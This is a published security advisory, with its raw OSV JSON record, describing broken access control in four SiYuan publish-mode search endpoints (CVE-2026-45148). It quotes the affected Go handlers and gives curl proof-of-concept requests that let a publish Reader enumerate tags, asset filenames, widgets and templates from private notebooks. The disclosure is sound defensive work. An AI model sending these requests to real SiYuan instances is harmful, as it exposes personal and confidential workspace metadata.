GHSA-FMH9-GPQH-G53G
Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-05-15 23:45Summary
The advisory GHSA-c77m-r996-jr3q patched getBookmark so that, when invoked by a publish-mode RoleReader, results are filtered through FilterBlocksByPublishAccess to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.
Details
Affected files / lines (v3.6.5):
kernel/api/router.go:181-190 — all four endpoints registered with CheckAuth only, which the publish-service RoleReader JWT passes:
ginServer.Handle("POST", "/api/search/searchTag", model.CheckAuth, searchTag)
ginServer.Handle("POST", "/api/search/searchTemplate", model.CheckAuth, searchTemplate)
ginServer.Handle("POST", "/api/search/searchWidget", model.CheckAuth, searchWidget)
ginServer.Handle("POST", "/api/search/searchAsset", model.CheckAuth, searchAsset)
kernel/api/search.go — none of the four handlers branches on model.IsReadOnlyRoleContext(c) to filter the response, while their peers in the same file do. Compare:
// :29-65 listInvalidBlockRefs — DOES filter:
if model.IsReadOnlyRoleContext(c) {
publishAccess := model.GetPublishAccess()
blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)
}
// :67-93 getAssetContent — DOES filter (FilterAssetContentByPublishAccess)
// :95-115 fullTextSearchAssetContent — DOES filter
// :250-285 getEmbedBlock — DOES filter (FilterEmbedBlocksByPublishAccess)
// :156-176 searchAsset — does NOT filter
ret.Data = model.SearchAssetsByName(k, exts)
// :178-196 searchTag — does NOT filter
tags := model.SearchTags(k)
ret.Data = map[string]any{"tags": tags, "k": k}
// :198-213 searchWidget — does NOT filter
widgets := model.SearchWidget(keyword)
// :233-248 searchTemplate — does NOT filter
templates := model.SearchTemplate(keyword)
model.SearchAssetsByName, model.SearchTags, model.SearchWidget, model.SearchTemplate operate over the entire workspace database / filesystem, not just the publish-visible subset. A FilterTagsByPublishIgnore helper already exists in kernel/model/ and is used by getTag itself (kernel/api/tag.go:58-62), confirming the maintainers' intent.
PoC
End-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a RoleReader JWT from the publish reverse-proxy (per kernel/server/proxy/publish.go). Once authenticated as the Reader against the publish port:
# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.
curl -X POST https://<publish-host>/api/search/searchTag \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' \
-d '{"k":""}'
# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.
curl -X POST https://<publish-host>/api/search/searchAsset \
-H 'Authorization: Bearer <reader-jwt>' \
-H 'Content-Type: application/json' \
-d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchWidget -H '...' -d '{"k":""}'
curl -X POST https://<publish-host>/api/search/searchTemplate -H '...' -d '{"k":""}'
Each call returns the global result set without applying FilterTagsByPublishIgnore / FilterAssetContentByPublishAccess / equivalent.
In this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.
Impact
A publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:
- All tag strings used anywhere in the workspace — frequently contains person names, project codenames, internal identifiers.
- All asset filenames uploaded to the workspace — frequently contains the contents of
CV.pdf,contract.docx,salary-2026.xlsx, etc. - All widget names and template names installed in the workspace.
This violates the publish-service trust boundary. Users intentionally mark notebooks as "invisible to publish" specifically to keep this metadata out of public reach.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260512140701-d7b77d945e0d"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45148"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:33:03Z",
"nvd_published_at": "2026-05-14T19:16:38Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe advisory `GHSA-c77m-r996-jr3q` patched `getBookmark` so that, when invoked by a publish-mode `RoleReader`, results are filtered through `FilterBlocksByPublishAccess` to remove entries from password-protected / publish-ignored notebooks. Four sibling search handlers in the same file did not receive the equivalent treatment and continue to expose metadata across the publish-access boundary.\n\n### Details\n\n**Affected files / lines (v3.6.5):**\n\n`kernel/api/router.go:181-190` \u2014 all four endpoints registered with `CheckAuth` only, which the publish-service `RoleReader` JWT passes:\n\n```go\nginServer.Handle(\"POST\", \"/api/search/searchTag\", model.CheckAuth, searchTag)\nginServer.Handle(\"POST\", \"/api/search/searchTemplate\", model.CheckAuth, searchTemplate)\nginServer.Handle(\"POST\", \"/api/search/searchWidget\", model.CheckAuth, searchWidget)\nginServer.Handle(\"POST\", \"/api/search/searchAsset\", model.CheckAuth, searchAsset)\n```\n\n`kernel/api/search.go` \u2014 none of the four handlers branches on `model.IsReadOnlyRoleContext(c)` to filter the response, while their *peers* in the same file do. Compare:\n\n```go\n// :29-65 listInvalidBlockRefs \u2014 DOES filter:\nif model.IsReadOnlyRoleContext(c) {\n publishAccess := model.GetPublishAccess()\n blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks)\n}\n\n// :67-93 getAssetContent \u2014 DOES filter (FilterAssetContentByPublishAccess)\n// :95-115 fullTextSearchAssetContent \u2014 DOES filter\n// :250-285 getEmbedBlock \u2014 DOES filter (FilterEmbedBlocksByPublishAccess)\n\n// :156-176 searchAsset \u2014 does NOT filter\nret.Data = model.SearchAssetsByName(k, exts)\n\n// :178-196 searchTag \u2014 does NOT filter\ntags := model.SearchTags(k)\nret.Data = map[string]any{\"tags\": tags, \"k\": k}\n\n// :198-213 searchWidget \u2014 does NOT filter\nwidgets := model.SearchWidget(keyword)\n\n// :233-248 searchTemplate \u2014 does NOT filter\ntemplates := model.SearchTemplate(keyword)\n```\n\n`model.SearchAssetsByName`, `model.SearchTags`, `model.SearchWidget`, `model.SearchTemplate` operate over the entire workspace database / filesystem, not just the publish-visible subset. A `FilterTagsByPublishIgnore` helper *already exists* in `kernel/model/` and is used by `getTag` itself (`kernel/api/tag.go:58-62`), confirming the maintainers\u0027 intent.\n\n### PoC\n\nEnd-to-end reproduction requires enabling the SiYuan publish service, marking one notebook as private to publish access, and obtaining a `RoleReader` JWT from the publish reverse-proxy (per `kernel/server/proxy/publish.go`). Once authenticated as the Reader against the publish port:\n\n```bash\n# Returns ALL tags across the workspace, including ones drawn only from the publish-private notebook.\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchTag \\\n -H \u0027Authorization: Bearer \u003creader-jwt\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"k\":\"\"}\u0027\n\n# Returns ALL asset filenames (e.g., CV.pdf, contract.docx, salary-2026.xlsx) regardless of source notebook.\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchAsset \\\n -H \u0027Authorization: Bearer \u003creader-jwt\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"k\":\"\"}\u0027\n\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchWidget -H \u0027...\u0027 -d \u0027{\"k\":\"\"}\u0027\ncurl -X POST https://\u003cpublish-host\u003e/api/search/searchTemplate -H \u0027...\u0027 -d \u0027{\"k\":\"\"}\u0027\n```\n\nEach call returns the global result set without applying `FilterTagsByPublishIgnore` / `FilterAssetContentByPublishAccess` / equivalent.\n\nIn this audit I source-confirmed the missing branch in v3.6.5 but did not stand up the full publish-service flow. The fix is straightforward enough that the source-level evidence should be sufficient for triage.\n\n### Impact\n\nA publish-service Reader (the role assigned to anonymous publish visitors by default) can enumerate:\n\n- All tag strings used anywhere in the workspace \u2014 frequently contains person names, project codenames, internal identifiers.\n- All asset filenames uploaded to the workspace \u2014 frequently contains the contents of `CV.pdf`, `contract.docx`, `salary-2026.xlsx`, etc.\n- All widget names and template names installed in the workspace.\n\nThis violates the publish-service trust boundary. Users intentionally mark notebooks as \"invisible to publish\" specifically to keep this metadata out of public reach.",
"id": "GHSA-fmh9-gpqh-g53g",
"modified": "2026-05-15T23:45:20Z",
"published": "2026-05-13T15:33:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fmh9-gpqh-g53g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45148"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has broken access control in `/api/search/{searchAsset,searchTag,searchWidget,searchTemplate}` publish-mode"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.